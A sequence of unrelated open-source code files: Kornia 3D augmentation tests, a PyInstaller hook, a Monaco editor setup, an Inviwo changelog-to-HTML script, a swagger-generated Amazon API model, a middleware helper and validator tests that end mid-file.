input = input.repeat(2, 1, 1, 1, 1) # 5 x 4 x 4 x 3 out, mat = f(input) assert_allclose(out, expected, rtol=1e-6, atol=1e-4) assert_allclose(mat, expected_transform, rtol=1e-6, atol=1e-4) def test_same_on_batch(self, device): f = RandomRotation3D(degrees=40, same_on_batch=True) input = torch.eye(6).unsqueeze(dim=0).unsqueeze(dim=0).repeat(2, 3, 1, 1, 1) res = f(input) assert (res[0] == res[1]).all() def test_sequential(self, device): torch.manual_seed(0) # for random reproductibility f = nn.Sequential( RandomRotation3D(torch.tensor([-45.0, 90]), return_transform=True), RandomRotation3D(10.4, return_transform=True), ) f1 = nn.Sequential( RandomRotation3D(torch.tensor([-45.0, 90]), return_transform=True), RandomRotation3D(10.4), ) input = torch.tensor([[[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]], [[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]], [[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]]]) # 3 x 4 x 4 input = input.to(device) expected = torch.tensor([[[[[5.8413e-01, 3.1238e-01, 2.7060e-02, 4.1555e-01], [4.3787e-02, 8.6122e-02, 8.3644e-02, 6.6170e-01], [3.7727e-01, 8.5232e-01, 5.1960e-01, 9.1474e-02], [2.7198e-01, 6.9109e-01, 5.7987e-01, 1.7646e-01]], [[8.8109e-02, 1.6755e-01, 1.0494e-01, 3.5867e-02], [6.1397e-02, 2.6093e-01, 4.2951e-01, 3.5508e-01], [7.9497e-02, 5.5609e-01, 1.3745e+00, 6.2975e-01], [8.9196e-03, 3.6598e-01, 1.1553e+00, 1.2267e+00]], [[6.1910e-03, 1.4123e-02, 5.0222e-02, 6.4776e-03], [2.9561e-05, 1.1410e-01, 5.5537e-01, 2.2792e-01], [0.0000e+00, 5.5169e-02, 5.4580e-01, 4.4281e-01], [0.0000e+00, 2.9420e-03, 1.7743e-01, 3.0618e-01]]]]]) expected = expected.to(device) expected_transform = torch.tensor([[[0.4690, 0.4978, 0.7295, -1.3100], [-0.2616, 0.8673, -0.4236, 1.0961], [-0.8435, 0.0078, 0.5370, 1.5263], [0.0000, 0.0000, 0.0000, 1.0000]]]) expected_transform = expected_transform.to(device) expected_transform_2 = torch.tensor([[[0.2207, 0.0051, 0.9753, -0.6914], [0.4092, 0.9072, -0.0974, -0.1240], [-0.8853, 0.4206, 0.1981, 1.4573], [0.0000, 0.0000, 0.0000, 1.0000]]]) expected_transform_2 = expected_transform_2.to(device) out, mat = f(input) _, mat_2 = f1(input) assert_allclose(out, expected, rtol=1e-6, atol=1e-4) assert_allclose(mat, expected_transform, rtol=1e-6, atol=1e-4) assert_allclose(mat_2, expected_transform_2, rtol=1e-6, atol=1e-4) @pytest.mark.skip(reason="turn off all jit for a while") def test_jit(self, device): torch.manual_seed(0) # for random reproductibility @torch.jit.script def op_script(data: torch.Tensor) -> Union[torch.Tensor, Tuple[torch.Tensor, torch.Tensor]]: return kornia.random_rotation(data, degrees=45.0) input = torch.tensor([[[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]], [[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]], [[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]]]) # 3 x 4 x 4 # Build jit trace op_trace = torch.jit.trace(op_script, (input, )) # Create new inputs input = torch.tensor([[[0., 0., 0.], [5., 5., 0.], [0., 0., 0.]], [[0., 0., 0.], [5., 5., 0.], [0., 0., 0.]], [[0., 0., 0.], [5., 5., 0.], [0., 0., 0.]]]) # 3 x 3 x 3 expected = torch.tensor([[[0.0000, 0.2584, 0.0000], [2.9552, 5.0000, 0.2584], [1.6841, 0.4373, 0.0000]]]) actual = op_trace(input) assert_allclose(actual, expected, rtol=1e-6, atol=1e-4) def test_gradcheck(self, device): torch.manual_seed(0) # for random reproductibility input = torch.rand((3, 3, 3)).to(device) # 3 x 3 x 3 input = utils.tensor_to_gradcheck_var(input) # to var assert gradcheck(RandomRotation3D(degrees=(15.0, 15.0)), (input, ), raise_exception=True) class TestRandomCrop3D: def test_smoke(self): f = RandomCrop3D(size=(2, 3, 4), padding=(0, 1, 2), fill=10, pad_if_needed=False, p=1.) repr = "RandomCrop3D(crop_size=(2, 3, 4), padding=(0, 1, 2), fill=10, pad_if_needed=False, "\ "padding_mode=constant, resample=BILINEAR, p=1.0, p_batch=1.0, same_on_batch=False, "\ "return_transform=False)" assert str(f) == repr @pytest.mark.parametrize("batch_size", [1, 2]) def test_no_padding(self, batch_size, device, dtype): torch.manual_seed(0) inp = torch.tensor([[[[ [0., 1., 2., 3., 4.], [5., 6., 7., 8., 9.], [10, 11, 12, 13, 14], [15, 16, 17, 18, 19], [20, 21, 22, 23, 24] ]]]], device=device, dtype=dtype).repeat(batch_size, 1, 5, 1, 1) f = RandomCrop3D(size=(2, 3, 4), padding=None, align_corners=True, p=1.) out = f(inp) if batch_size == 1: expected = torch.tensor([[[[ [10, 11, 12, 13], [15, 16, 17, 18], [20, 21, 22, 23] ]]]], device=device, dtype=dtype).repeat(batch_size, 1, 2, 1, 1) if batch_size == 2: expected = torch.tensor([[[ [[0., 1., 2., 3.], [5., 6., 7., 8.], [10, 11, 12, 13]], [[0., 1., 2., 3.], [5., 6., 7., 8.], [10, 11, 12, 13]], ]], [[ [[1., 2., 3., 4.], [6., 7., 8., 9.], [11, 12, 13, 14]], [[1., 2., 3., 4.], [6., 7., 8., 9.], [11, 12, 13, 14]], ]]], device=device, dtype=dtype) assert_allclose(out, expected, atol=1e-4, rtol=1e-4) def test_same_on_batch(self, device, dtype): f = RandomCrop3D(size=(2, 3, 4), padding=None, align_corners=True, p=1., same_on_batch=True) input = torch.eye(6).unsqueeze(dim=0).unsqueeze(dim=0).unsqueeze(dim=0).repeat(2, 3, 5, 1, 1) res = f(input) assert (res[0] == res[1]).all() @pytest.mark.parametrize("padding", [1, (1, 1, 1), (1, 1, 1, 1, 1, 1)]) def test_padding_batch(self, padding, device, dtype): torch.manual_seed(0) batch_size = 2 inp = torch.tensor([[[ [0., 1., 2.], [3., 4., 5.], [6., 7., 8.] ]]], device=device, dtype=dtype).repeat(batch_size, 1, 3, 1, 1) expected = torch.tensor([[[ [[10, 10, 10, 10], [10, 0., 1., 2.], [10, 3., 4., 5.]], [[10, 10, 10, 10], [10, 0., 1., 2.], [10, 3., 4., 5.]], ]], [[ [[10, 10, 10, 10], [0., 1., 2., 10], [3., 4., 5., 10]], [[10, 10, 10, 10], [0., 1., 2., 10], [3., 4., 5., 10]], ]]], device=device, dtype=dtype) f = RandomCrop3D(size=(2, 3, 4), fill=10., padding=padding, align_corners=True, p=1.) out = f(inp) assert_allclose(out, expected, atol=1e-4, rtol=1e-4) def test_pad_if_needed(self, device, dtype): torch.manual_seed(0) inp = torch.tensor([[ [0., 1., 2.], ]], device=device, dtype=dtype) expected = torch.tensor([[[ [[9., 9., 9., 9.], [9., 9., 9., 9.], [9., 9., 9., 9.]], [[9., 0., 1., 2.], [9., 9., 9., 9.], [9., 9., 9., 9.]], ]]], device=device, dtype=dtype) rc = RandomCrop3D(size=(2, 3, 4), pad_if_needed=True, fill=9, align_corners=True, p=1.) out = rc(inp) assert_allclose(out, expected, atol=1e-4, rtol=1e-4) def test_gradcheck(self, device, dtype): torch.manual_seed(0) # for random reproductibility inp = torch.rand((3, 3, 3), device=device, dtype=dtype) # 3 x 3 inp = utils.tensor_to_gradcheck_var(inp) # to var assert gradcheck(RandomCrop3D(size=(3, 3, 3), p=1.), (inp, ), raise_exception=True) @pytest.mark.skip("Need to fix Union type") def test_jit(self, device, dtype): # Define script op = RandomCrop(size=(3, 3), p=1.).forward op_script = torch.jit.script(op) img = torch.ones(1, 1, 5, 6, device=device, dtype=dtype) actual = op_script(img) expected = kornia.center_crop3d(img) assert_allclose(actual, expected) @pytest.mark.skip("Need to fix Union type") def test_jit_trace(self, device, dtype): # Define script op = RandomCrop(size=(3, 3), p=1.).forward op_script = torch.jit.script(op) # 1. Trace op img = torch.ones(1, 1, 5, 6, device=device, dtype=dtype) op_trace = torch.jit.trace(op_script, (img,)) # 2. Generate new input img = torch.ones(1, 1, 5, 6, device=device, dtype=dtype) # 3. Evaluate actual = op_trace(img) expected = op(img) assert_allclose(actual, expected) class TestCenterCrop3D: def test_no_transform(self, device, dtype): inp = torch.rand(1, 2, 4, 4, 4, device=device, dtype=dtype) out = kornia.augmentation.CenterCrop3D(2)(inp) assert out.shape == (1, 2, 2, 2, 2) def test_transform(self, device, dtype): inp = torch.rand(1, 2, 5, 4, 8, device=device, dtype=dtype) out = kornia.augmentation.CenterCrop3D(2, return_transform=True)(inp) assert len(out) == 2 assert out[0].shape == (1, 2, 2, 2, 2) assert out[1].shape == (1, 4, 4) def test_no_transform_tuple(self, device, dtype): inp = torch.rand(1, 2, 5, 4, 8, device=device, dtype=dtype) out = kornia.augmentation.CenterCrop3D((3, 4, 5))(inp) assert out.shape == (1, 2, 3, 4, 5) def test_gradcheck(self, device, dtype): input = torch.rand(1, 2, 3, 4, 5, device=device, dtype=dtype) input = utils.tensor_to_gradcheck_var(input) # to var assert gradcheck(kornia.augmentation.CenterCrop3D(3), (input,), raise_exception=True) class TestRandomEqualize3D: def test_smoke(self, device, dtype): f = RandomEqualize3D(p=0.5) repr = "RandomEqualize3D(p=0.5, p_batch=1.0, same_on_batch=False, return_transform=False)" assert str(f) == repr def test_random_equalize(self, device, dtype): f = RandomEqualize3D(p=1.0, return_transform=True) f1 = RandomEqualize3D(p=0., return_transform=True) f2 = RandomEqualize3D(p=1.) f3 = RandomEqualize3D(p=0.) bs, channels, depth, height, width = 1, 3, 6, 10, 10 inputs3d = self.build_input(channels, depth, height, width, device=device, dtype=dtype).squeeze(dim=0) row_expected = torch.tensor([ 0.0000, 0.11764, 0.2353, 0.3529, 0.4706, 0.5882, 0.7059, 0.8235, 0.9412, 1.0000 ], device=device, dtype=dtype) expected = self.build_input(channels, depth, height, width, bs=1, row=row_expected, device=device, dtype=dtype) identity = kornia.eye_like(4, expected) assert_allclose(f(inputs3d)[0], expected, rtol=1e-4, atol=1e-4) assert_allclose(f(inputs3d)[1], identity, rtol=1e-4, atol=1e-4) assert_allclose(f1(inputs3d)[0], inputs3d, rtol=1e-4, atol=1e-4) assert_allclose(f1(inputs3d)[1], identity, rtol=1e-4, atol=1e-4) assert_allclose(f2(inputs3d), expected, rtol=1e-4, atol=1e-4) assert_allclose(f3(inputs3d), inputs3d, rtol=1e-4, atol=1e-4) def test_batch_random_equalize(self, device, dtype): f = RandomEqualize3D(p=1.0, return_transform=True) f1 = RandomEqualize3D(p=0., return_transform=True) f2 = RandomEqualize3D(p=1.) f3 = RandomEqualize3D(p=0.) bs, channels, depth, height, width = 2, 3, 6, 10, 10 inputs3d = self.build_input(channels, depth, height, width, bs, device=device, dtype=dtype) row_expected = torch.tensor([ 0.0000, 0.11764, 0.2353, 0.3529, 0.4706, 0.5882, 0.7059, 0.8235, 0.9412, 1.0000 ]) expected = self.build_input(channels, depth, height, width, bs, row=row_expected, device=device, dtype=dtype) identity = kornia.eye_like(4, expected) # 2 x 4 x 4 assert_allclose(f(inputs3d)[0], expected, rtol=1e-4, atol=1e-4) assert_allclose(f(inputs3d)[1], identity, rtol=1e-4, atol=1e-4) assert_allclose(f1(inputs3d)[0], inputs3d, rtol=1e-4, atol=1e-4) assert_allclose(f1(inputs3d)[1], identity, rtol=1e-4, atol=1e-4) assert_allclose(f2(inputs3d), expected, rtol=1e-4, atol=1e-4) assert_allclose(f3(inputs3d), inputs3d, rtol=1e-4, atol=1e-4) def test_same_on_batch(self, device, dtype): f = RandomEqualize3D(p=0.5, same_on_batch=True) input = torch.eye(4, device=device, dtype=dtype) input = input.unsqueeze(dim=0).unsqueeze(dim=0).repeat(2, 1, 2, 1, 1) res = f(input) assert (res[0] == res[1]).all() def test_gradcheck(self, device, dtype): torch.manual_seed(0) # for random reproductibility inputs3d = torch.rand((3, 3, 3), device=device, dtype=dtype) # 3 x 3 x 3 inputs3d = utils.tensor_to_gradcheck_var(inputs3d) # to var assert gradcheck(RandomEqualize3D(p=0.5), (inputs3d,), raise_exception=True) @staticmethod def build_input(channels, depth, height, width, bs=1, row=None, device='cpu', dtype=torch.float32): if row is None: row = torch.arange(width, device=device, dtype=dtype) / float(width) channel = torch.stack([row] * height) image = torch.stack([channel] * channels) image3d = torch.stack([image] * depth).transpose(0, 1) batch = torch.stack([image3d] * bs) return batch.to(device, dtype)
def prenom(): prenom = input("Bonjour ! Quel est votre prénom?\n") if (prenom == 'Johnny'): print("Hello, my love!") else: print("Salut, " + prenom + " !" ) prenom()
#----------------------------------------------------------------------------- # Copyright (c) 2005-2015, PyInstaller Development Team. # # Distributed under the terms of the GNU General Public License with exception # for distributing bootloader. # # The full license is in the file COPYING.txt, distributed with this software. #----------------------------------------------------------------------------- # This hook was tested with Pillow 2.9.0 (Maintained fork of PIL): # https://pypi.python.org/pypi/Pillow from PyInstaller.compat import modname_tkinter # Ignore 'FixTk' (Python 2) or tkinter to prevent inclusion of Tcl/Tk library # and other GUI libraries. # Assume that if people are really using tkinter in their application, they # will also import it directly and thus PyInstaller bundles the right GUI # library. excludedimports = [modname_tkinter, 'FixTk', 'PySide', 'PyQt4', 'PyQt5']
// (1) Desired editor features: import 'monaco-editor/esm/vs/editor/browser/controller/coreCommands.js'; // import 'monaco-editor/esm/vs/editor/browser/widget/codeEditorWidget.js'; // import 'monaco-editor/esm/vs/editor/browser/widget/diffEditorWidget.js'; // import 'monaco-editor/esm/vs/editor/browser/widget/diffNavigator.js'; // import 'monaco-editor/esm/vs/editor/contrib/bracketMatching/bracketMatching.js'; // import 'monaco-editor/esm/vs/editor/contrib/caretOperations/caretOperations.js'; // import 'monaco-editor/esm/vs/editor/contrib/caretOperations/transpose.js'; // import 'monaco-editor/esm/vs/editor/contrib/clipboard/clipboard.js'; // import 'monaco-editor/esm/vs/editor/contrib/codelens/codelensController.js'; // import 'monaco-editor/esm/vs/editor/contrib/colorPicker/colorDetector.js'; // import 'monaco-editor/esm/vs/editor/contrib/comment/comment.js'; // import 'monaco-editor/esm/vs/editor/contrib/contextmenu/contextmenu.js'; // import 'monaco-editor/esm/vs/editor/contrib/cursorUndo/cursorUndo.js'; // import 'monaco-editor/esm/vs/editor/contrib/dnd/dnd.js'; import 'monaco-editor/esm/vs/editor/contrib/find/findController.js'; // import 'monaco-editor/esm/vs/editor/contrib/folding/folding.js'; // import 'monaco-editor/esm/vs/editor/contrib/format/formatActions.js'; // import 'monaco-editor/esm/vs/editor/contrib/goToDeclaration/goToDeclarationCommands.js'; // import 'monaco-editor/esm/vs/editor/contrib/goToDeclaration/goToDeclarationMouse.js'; // import 'monaco-editor/esm/vs/editor/contrib/gotoError/gotoError.js'; // import 'monaco-editor/esm/vs/editor/contrib/hover/hover.js'; // import 'monaco-editor/esm/vs/editor/contrib/inPlaceReplace/inPlaceReplace.js'; // import 'monaco-editor/esm/vs/editor/contrib/linesOperations/linesOperations.js'; // import 'monaco-editor/esm/vs/editor/contrib/links/links.js'; // import 'monaco-editor/esm/vs/editor/contrib/multicursor/multicursor.js'; // import 'monaco-editor/esm/vs/editor/contrib/parameterHints/parameterHints.js'; // import 'monaco-editor/esm/vs/editor/contrib/quickFix/quickFixCommands.js'; // import 'monaco-editor/esm/vs/editor/contrib/referenceSearch/referenceSearch.js'; // import 'monaco-editor/esm/vs/editor/contrib/rename/rename.js'; // import 'monaco-editor/esm/vs/editor/contrib/smartSelect/smartSelect.js'; // import 'monaco-editor/esm/vs/editor/contrib/snippet/snippetController2.js'; // import 'monaco-editor/esm/vs/editor/contrib/suggest/suggestController.js'; // import 'monaco-editor/esm/vs/editor/contrib/toggleTabFocusMode/toggleTabFocusMode.js'; // import 'monaco-editor/esm/vs/editor/contrib/wordHighlighter/wordHighlighter.js'; // import 'monaco-editor/esm/vs/editor/contrib/wordOperations/wordOperations.js'; // import 'monaco-editor/esm/vs/editor/standalone/browser/accessibilityHelp/accessibilityHelp.js'; // import 'monaco-editor/esm/vs/editor/standalone/browser/inspectTokens/inspectTokens.js'; // import 'monaco-editor/esm/vs/editor/standalone/browser/iPadShowKeyboard/iPadShowKeyboard.js'; // import 'monaco-editor/esm/vs/editor/standalone/browser/quickOpen/quickOutline.js'; // import 'monaco-editor/esm/vs/editor/standalone/browser/quickOpen/gotoLine.js'; // import 'monaco-editor/esm/vs/editor/standalone/browser/quickOpen/quickCommand.js'; // import 'monaco-editor/esm/vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast.js'; import * as monaco from 'monaco-editor/esm/vs/editor/editor.api.js'; // (2) Desired languages: // import 'monaco-editor/esm/vs/language/typescript/monaco.contribution'; // import 'monaco-editor/esm/vs/language/css/monaco.contribution'; // import 'monaco-editor/esm/vs/language/json/monaco.contribution'; // import 'monaco-editor/esm/vs/language/html/monaco.contribution'; // import 'monaco-editor/esm/vs/basic-languages/bat/bat.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/coffee/coffee.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/cpp/cpp.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/csharp/csharp.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/csp/csp.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/css/css.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/dockerfile/dockerfile.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/fsharp/fsharp.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/go/go.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/handlebars/handlebars.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/html/html.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/ini/ini.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/java/java.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/less/less.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/lua/lua.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/markdown/markdown.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/msdax/msdax.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/mysql/mysql.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/objective-c/objective-c.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/pgsql/pgsql.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/php/php.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/postiats/postiats.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/powershell/powershell.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/pug/pug.contribution.js'; import 'monaco-editor/esm/vs/basic-languages/python/python.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/r/r.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/razor/razor.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/redis/redis.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/redshift/redshift.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/ruby/ruby.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/sb/sb.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/scss/scss.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/solidity/solidity.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/sql/sql.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/swift/swift.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/vb/vb.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/xml/xml.contribution.js'; // import 'monaco-editor/esm/vs/basic-languages/yaml/yaml.contribution.js'; self.MonacoEnvironment = { getWorkerUrl: function (moduleId, label) { // if (label === 'json') { // return './json.worker.bundle.js'; // } // if (label === 'css') { // return './css.worker.bundle.js'; // } // if (label === 'html') { // return './html.worker.bundle.js'; // } // if (label === 'typescript' || label === 'javascript') { // return './ts.worker.bundle.js'; // } return './editor.worker.bundle.js'; } } monaco.editor.create(document.getElementById('container'), { value: [ 'from banana import *', '', 'class Monkey:', ' # Bananas the monkey can eat.', ' capacity = 10', ' def eat(self, N):', ' \'\'\'Make the monkey eat N bananas!\'\'\'', ' capacity = capacity - N*banana.size', '', ' def feeding_frenzy(self):', ' eat(9.25)', ' return "Yum yum"', ].join('\n'), language: 'python' });
#********************************************************************************* # # Inviwo - Interactive Visualization Workshop # # Copyright (c) 2019-2021 Inviwo Foundation # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # #********************************************************************************* import os import sys import argparse from distutils.version import StrictVersion import urllib.request import json import ivwpy.util from ivwpy.colorprint import * def makeCmdParser(): parser = argparse.ArgumentParser( description="Convert a github-flavored markdown (GFM) changelog to HTML", formatter_class=argparse.ArgumentDefaultsHelpFormatter ) parser.add_argument('-i', '--input', type=str, required=True, action="store", dest="input", help='Markdown input file (GFM)') parser.add_argument('-o', '--output', type=str, required=True, action="store", dest="output", help='Output HTML file') return parser.parse_args() htmlHeader= """<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <style type="text/css"> body {color: #9d9995;} a {color: #268bd2;} a:visited { color: #1E6A9E; } h1 { font-size: xx-large; color: #268bd2; margin-bottom:1em; } h2 { font-size: large; color: #268bd2; margin-top:1em; margin-bottom:0em; } p { margin-bottom: 0.2em; margin-top: 0.1em; } li { margin-bottom: 0.2em; } div { margin: 0; padding: 0; } pre { margin-top: 0.3em; margin-bottom: 0.3em; line-height:120%;} code { color: #f8f8f2; background-color: #4a4a4f; padding-left: 0.4em; padding-right: 0.4em; } div.highlight { color: #f8f8f2; background-color: #4a4a4f; padding-top: 0.1em; padding-bottom: 0.1em; } .pl-s, .pl-pds, .pl-sr { color: #e6db74; } .pl-k { color: #66d9ef; } /* keyword, storage, storage.type */ .pl-s1 { color: #a6e22e; } /* string source */ .pl-kos { color: #f8f8f2; } .pl-en, .pl-e{ color: #a6e22e; } /* entity.name */ .pl-c1 { color: #f92672; } .pl-smi { color: #f6f8fa; } /* variable.parameter.function, storage.modifier.package, storage.modifier.import, storage.type.java, variable.other */ .pl-v {color: #a6e22e; } /* variable */ .pl-c { color: #f6f8fa; } /* comment, punctuation.definition.comment, string.comment */ </style> </head> <body> """ htmlBody = "</body></html>\n" changelogBegin = "Here we document changes" def main(args): args = makeCmdParser(); if not os.path.exists(args.input): print_error("changelog-to-html.py was unable to locate the input file " + args.input) sys.exit(1) with open(args.input, mode="r", encoding="utf-8") as f: text = f.read(); # remove first line starting with "Here we document changes..." if text.startswith(changelogBegin): text = text.split('\n', 2)[2] url = "https://api.github.com/markdown" headers = { 'Accept': 'application/vnd.github.v3+json', 'Content-type' : 'application/json' } data = json.dumps({'text': text, 'mode' : 'gfm'}).encode("utf-8") req = urllib.request.Request(url, data, headers) with urllib.request.urlopen(req) as f: body = f.read().decode('utf-8') html = htmlHeader + body + htmlBody (path, filename) = os.path.split(os.path.abspath(args.output)) ivwpy.util.mkdir(path) with open(args.output, mode="w", encoding="utf-8", errors="xmlcharrefreplace") as f: f.write(html) if __name__ == '__main__': main(sys.argv[1:])
module.exports = { add:function(a,b){ return a + b; } }
# coding: utf-8 """ Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. A copy of the License is located at http://www.apache.org/licenses/LICENSE-2.0 or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ """ ProductAdvertisingAPI https://webservices.amazon.com/paapi5/documentation/index.html # noqa: E501 """ import pprint import re # noqa: F401 import six class OfferSubCondition(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'display_value': 'str', 'label': 'str', 'locale': 'str', 'value': 'str' } attribute_map = { 'display_value': 'DisplayValue', 'label': 'Label', 'locale': 'Locale', 'value': 'Value' } def __init__(self, display_value=None, label=None, locale=None, value=None): # noqa: E501 """OfferSubCondition - a model defined in Swagger""" # noqa: E501 self._display_value = None self._label = None self._locale = None self._value = None self.discriminator = None if display_value is not None: self.display_value = display_value if label is not None: self.label = label if locale is not None: self.locale = locale if value is not None: self.value = value @property def display_value(self): """Gets the display_value of this OfferSubCondition. # noqa: E501 :return: The display_value of this OfferSubCondition. # noqa: E501 :rtype: str """ return self._display_value @display_value.setter def display_value(self, display_value): """Sets the display_value of this OfferSubCondition. :param display_value: The display_value of this OfferSubCondition. # noqa: E501 :type: str """ self._display_value = display_value @property def label(self): """Gets the label of this OfferSubCondition. # noqa: E501 :return: The label of this OfferSubCondition. # noqa: E501 :rtype: str """ return self._label @label.setter def label(self, label): """Sets the label of this OfferSubCondition. :param label: The label of this OfferSubCondition. # noqa: E501 :type: str """ self._label = label @property def locale(self): """Gets the locale of this OfferSubCondition. # noqa: E501 :return: The locale of this OfferSubCondition. # noqa: E501 :rtype: str """ return self._locale @locale.setter def locale(self, locale): """Sets the locale of this OfferSubCondition. :param locale: The locale of this OfferSubCondition. # noqa: E501 :type: str """ self._locale = locale @property def value(self): """Gets the value of this OfferSubCondition. # noqa: E501 :return: The value of this OfferSubCondition. # noqa: E501 :rtype: str """ return self._value @value.setter def value(self, value): """Sets the value of this OfferSubCondition. :param value: The value of this OfferSubCondition. # noqa: E501 :type: str """ self._value = value def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(OfferSubCondition, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, OfferSubCondition): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
module.exports = function muddleware(...originalHandlers) { return function middleware(req, res, next) { // Clone on each request const handlers = [...originalHandlers]; // If running outside of express middleware then you may not have 'next' so ensure we have a final call and handle any error function final(err) { if (next) { // If we are in a chain then pass to next return next(err); } else if (err) { // Ensure 'err' is an Error object for google cloud functions if (err instanceof Error) { throw err; } else { throw new Error(err); } } } function handle(err) { // Handle errors passed through next(err) if (err) { return final(err); } // Get and remove the handler from the stack var handler = handlers.shift(); if (!handler) { return final(); } // Call the handler with recursive next call to next handler catching any uncaught errors try { handler(req, res, handle); } catch (e) { final(e); } } handle(); }; }
import ObjectShape from '../'; describe('objectOf validator creator', () => { it('should return false on invalidly created validator', () => { const shape = new ObjectShape({ author: ObjectShape.objectOf([]), }); const object = { author: { name: 'Bob Goodfellow', }, }; const errors = shape.validate(object); console.log(errors); expect(errors.length).toBe(1); }); }); describe('objectOf', () => { const shape = new ObjectShape({ title: ObjectShape.string, author: ObjectShape.objectOf({ name: ObjectShape.string, avatar: ObjectShape.string, }), }); it('should return true', () => { const article = { title: 'Test article', author: { name: 'Bob Goodfellow', avatar: '/img/basa413asd.jpg', }, }; const errors = shape.validate(article); console.log(errors); expect(errors.length).toBe(0); }); it('should return false on invalid objectOf type', () => { const article = { title: 'Test article', author: 2, }; const errors = shape.validate(article); console.log(errors); expect(errors.length).toBe(1); }); it('should return false on invalid property type', () => { const article = { title: 'Test article', author: { name: 'Bob Goodfellow', avatar: false, }, }; const errors = shape.validate(article); console.log(errors); expect(errors.length).toBe(1); }); }); describe('objectOf nested', () => { const shape = new ObjectShape({ title: ObjectShape.string, author: ObjectShape.objectOf({ name: ObjectShape.string, nested: ObjectShape.objectOf({ item: ObjectShape.string, test: ObjectShape.number, }), }), }); it('should return true', () => { const article = { title: 'Test article', author: { name: 'Bob Goodfellow', nested: { item: 'test', test: 2, }, }, }; const errors = shape.validate(article); console.log(errors); expect(errors.length).toBe(0); }); it('should return 